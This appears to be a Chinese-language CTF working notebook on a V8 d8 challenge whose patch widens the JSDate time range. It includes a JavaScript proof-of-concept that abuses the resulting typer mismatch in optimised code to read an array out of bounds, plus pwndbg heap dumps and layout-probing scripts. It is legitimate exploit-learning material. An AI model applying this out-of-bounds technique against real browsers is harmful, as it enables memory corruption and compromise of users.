1. d8是由叫v8的东西编译出来，v8是浏览器的js引擎，linux程序
2. date.patch是diff的输出，记录了文件的修改。一共修改三个文件。Build.gn里的不知道什么意思，d8.cc里注释了很多函数，只留下readLine，联系到题目要求只提交一行，可以理解。最重要的是data.h，修改了日期的最大值。既然改大了，可能就是溢出，但是具体哪里溢出，怎么溢出，溢出会怎样都与我无关。
3. natives.blob里是疑似代码的东西，看不懂。snapshot_blob.bin是个二进制文件，搜字符串能找到一些函数，不知道怎么用。
4. redeme里给出一个commit，直接必应搜索，发现是v8的git的某种标识。因为某些不可描述的原因，最后在gitee注册个账号进去看到了对应源码分支，日期是13天前。

V8 version 8.0.0 (candidate)
d8> a=864000000;b=15000000;c=a*b;new Date(c)
Sun Jan 20 412656 08:00:00 GMT+0800 ()
d8> c+1
12960000000000000
d8> c+2
12960000000000002
d8> c-1
12960000000000000

//v8/src/compiler/type-cache.h
//.....................
// A time value always contains a tagged number in the range
  // [-kMaxTimeInMs, kMaxTimeInMs].
  Type const kTimeValueType =
      CreateRange(-DateCache::kMaxTimeInMs, DateCache::kMaxTimeInMs);

  // The JSDate::day property always contains a tagged number in the range
  // [1, 31] or NaN.
  Type const kJSDateDayType =
      Type::Union(CreateRange(1, 31.0), Type::NaN(), zone());

  // The JSDate::hour property always contains a tagged number in the range
  // [0, 23] or NaN.
  Type const kJSDateHourType =
      Type::Union(CreateRange(0, 23.0), Type::NaN(), zone());

  // The JSDate::minute property always contains a tagged number in the range
  // [0, 59] or NaN.
  Type const kJSDateMinuteType =
      Type::Union(CreateRange(0, 59.0), Type::NaN(), zone());

  // The JSDate::month property always contains a tagged number in the range
  // [0, 11] or NaN.
  Type const kJSDateMonthType =
      Type::Union(CreateRange(0, 11.0), Type::NaN(), zone());

  // The JSDate::second property always contains a tagged number in the range
  // [0, 59] or NaN.
  Type const kJSDateSecondType = kJSDateMinuteType;

  // The JSDate::value property always contains a tagged number in the range
  // [-kMaxTimeInMs, kMaxTimeInMs] or NaN.
  Type const kJSDateValueType =
      Type::Union(kTimeValueType, Type::NaN(), zone());

  // The JSDate::weekday property always contains a tagged number in the range
  // [0, 6] or NaN.
  Type const kJSDateWeekdayType =
      Type::Union(CreateRange(0, 6.0), Type::NaN(), zone());

  // The JSDate::year property always contains a tagged number in the signed
  // small range or NaN.
  Type const kJSDateYearType =
      Type::Union(Type::SignedSmall(), Type::NaN(), zone());

d8> a=864000000;b=15000000;c=-a*b;new Date(c)
Mon Jan -18 -408716 08:00:00 GMT+0800 ()

  Type const kJSDateDayType =
      Type::Union(CreateRange(1, 31.0), Type::NaN(), zone());

SUCCESS = 0;
FAILURE = 0x42;
let it = 0;
var opt_me = () => {
  const OOB_OFFSET = 5;
  let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
  badly_typed = Math.abs(badly_typed-16);//[0,15]--real:34
  badly_typed = badly_typed >>5;//range (0,0)--real:1
  let bad = badly_typed * OOB_OFFSET;
  let leak = 0;
  if (bad >= OOB_OFFSET && ++it < 0x10000) {
    leak = 0;
  }
  else {
    let arr = new Array(1.1,2.3,3.4);
    arr2 = new Array({},{});
    leak = arr[bad];
    if (leak != undefined) {
        console.log(leak);console.log(bad);console.log(arr[bad]);
      return leak;
    }
  }
  return FAILURE;
};

let res = opt_me();
for (let i = 0; i < 0x10000; ++i)
  res = opt_me();
%DisassembleFunction(opt_me); // prints nothing on release builds
for (let i = 0; i < 0x10000; ++i)
  res = opt_me();
print(res);
%DisassembleFunction(opt_me); // prints nothing on release builds

%DebugPrint(arr);%DebugPrint(arr2);%SystemBreak();

pwndbg> telescope 0x1372cba5e9b0  //arr
00:0000│   0x1372cba5e9b0 —▸ 0x14edde6c2b49 ◂— 0x400000088aa3001
01:0008│   0x1372cba5e9b8 —▸ 0x88aa300b21 ◂— 0x88aa3007
02:0010│   0x1372cba5e9c0 —▸ 0x2505583f7891 ◂— 0x88aa3010//arr的元素指针
03:0018│   0x1372cba5e9c8 ◂— 0x300000000
pwndbg> telescope 0x2505583f7870   //arr2
00:0000│   0x2505583f7870 —▸ 0x14edde6c2bd9 ◂— 0x400000088aa3001
01:0008│   0x2505583f7878 —▸ 0x88aa300b21 ◂— 0x88aa3007
02:0010│   0x2505583f7880 —▸ 0x2505583f7851 ◂— 0x88aa3007//arr2的元素指针在自己前面 
03:0018│   0x2505583f7888 ◂— 0x200000000
04:0020│   0x2505583f7890 —▸ 0x88aa301071 ◂— 0x88aa3001 //arr的元素实际地址
05:0028│   0x2505583f7898 ◂— 0x300000000
06:0030│   0x2505583f78a0 ◂— 0x3ff199999999999a
07:0038│   0x2505583f78a8 ◂— 0x4002666666666666

pwndbg> telescope 0x3a5727877780 //arr的元素
00:0000│   0x3a5727877780 —▸ 0x35d57be41071 ◂— 0x35d57be401
01:0008│   0x3a5727877788 ◂— 0x300000000
02:0010│   0x3a5727877790 ◂— 0x3ff199999999999a
03:0018│   0x3a5727877798 ◂— 0x4002666666666666
04:0020│   0x3a57278777a0 ◂— 0x400b333333333333 ('333333\x0b@')
pwndbg> telescope 0x3a57278777a8  //arr
00:0000│   0x3a57278777a8 —▸ 0x1f74ef582b49 ◂— 0x4000035d57be401
01:0008│   0x3a57278777b0 —▸ 0x35d57be40b21 ◂— 0x35d57be407
02:0010│   0x3a57278777b8 —▸ 0x3a5727877781 ◂— 0x35d57be410//arr元素指针在自己前面
03:0018│   0x3a57278777c0 ◂— 0x300000000
04:0020│   0x3a57278777c8 —▸ 0x1f74ef580431 ◂— 0x7000035d57be401//？？？？
05:0028│   0x3a57278777d0 —▸ 0x35d57be40b21 ◂— 0x35d57be407
... ↓
07:0038│   0x3a57278777e0 —▸ 0x35d57be40469 ◂— 0x35d57be404
//中间内容未知，大概率是为{}分配的
pwndbg> telescope 0x3a5727877858  //arr2
00:0000│   0x3a5727877858 —▸ 0x1f74ef582bd9 ◂— 0x4000035d57be401
01:0008│   0x3a5727877860 —▸ 0x35d57be40b21 ◂— 0x35d57be407
02:0010│   0x3a5727877868 —▸ 0x3a5727877839 ◂— 0x35d57be407//arr2指针在自己前面
03:0018│   0x3a5727877870 ◂— 0x200000000
04:0020│   0x3a5727877878 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401//？？？
05:0028│   0x3a5727877880 —▸ 0x3a5727877781 ◂— 0x35d57be410
06:0030│   0x3a5727877888 —▸ 0x35d57be404f1 ◂— 0x2000035d57be401
07:0038│   0x3a5727877890 ◂— 0xc347058692250000

badly_typed = Math.abs(badly_typed-18);
  badly_typed = badly_typed >>4;//range (0,1)--real:2
  let bad =(badly_typed&0xff)+1;//real:3
  //...let arr=[1.1,2.2,3.3];

let ele={x:2};%DebugPrint(ele);
let arr1=new Array(1.2,2.3);let arr2=[ele,ele,ele];%DebugPrint(arr1);%DebugPrint(arr2);
     %SystemBreak();

let t=0;
function main(obj){
    let arr1=new Array(1.2,2.3,3.4); let arr2=[1.2,2.3,3.4];
//    let arr3=new Array({},{},{});    let arr4=[{},{},{}];
    let arr5=new Array(obj,obj,obj); let arr6=[obj,obj,obj];
    var arr7=new Array(1.2,2.3,3.4); var arr8=[1.2,2.3,3.4];
//    var arr9=new Array({},{},{});    var arr10=[{},{},{}];
    var arr11=new Array(obj,obj,obj);var arr12=[obj,obj,obj];    
    arr13=new Array(1.2,2.3,3.4);   arr14=[1.2,2.3,3.4];
//    arr15=new Array({},{},{});       arr16=[{},{},{}];
    arr17=new Array(obj,obj,obj);   arr18=[obj,obj,obj];
    if(++t>0x10000){
    %DebugPrint(obj);
    console.log("---------------------------");
    %DebugPrint(arr1);%DebugPrint(arr2);
//    %DebugPrint(arr3);%DebugPrint(arr4);
    %DebugPrint(arr5);%DebugPrint(arr6);
    console.log("---------------------------");
    %DebugPrint(arr7);%DebugPrint(arr8);
//    %DebugPrint(arr9);%DebugPrint(arr10);
    %DebugPrint(arr11);%DebugPrint(arr12);
    console.log("------------------------------");
    %DebugPrint(arr13);%DebugPrint(arr14);
//    %DebugPrint(arr15);%DebugPrint(arr16);
    %DebugPrint(arr17);%DebugPrint(arr18);
     %SystemBreak();
    }
}
var obj={x:0.123};
%DebugPrint(obj);
for(let i=0;i<0x10000;i++)
    main(obj);
main(obj);
%DebugPrint(obj);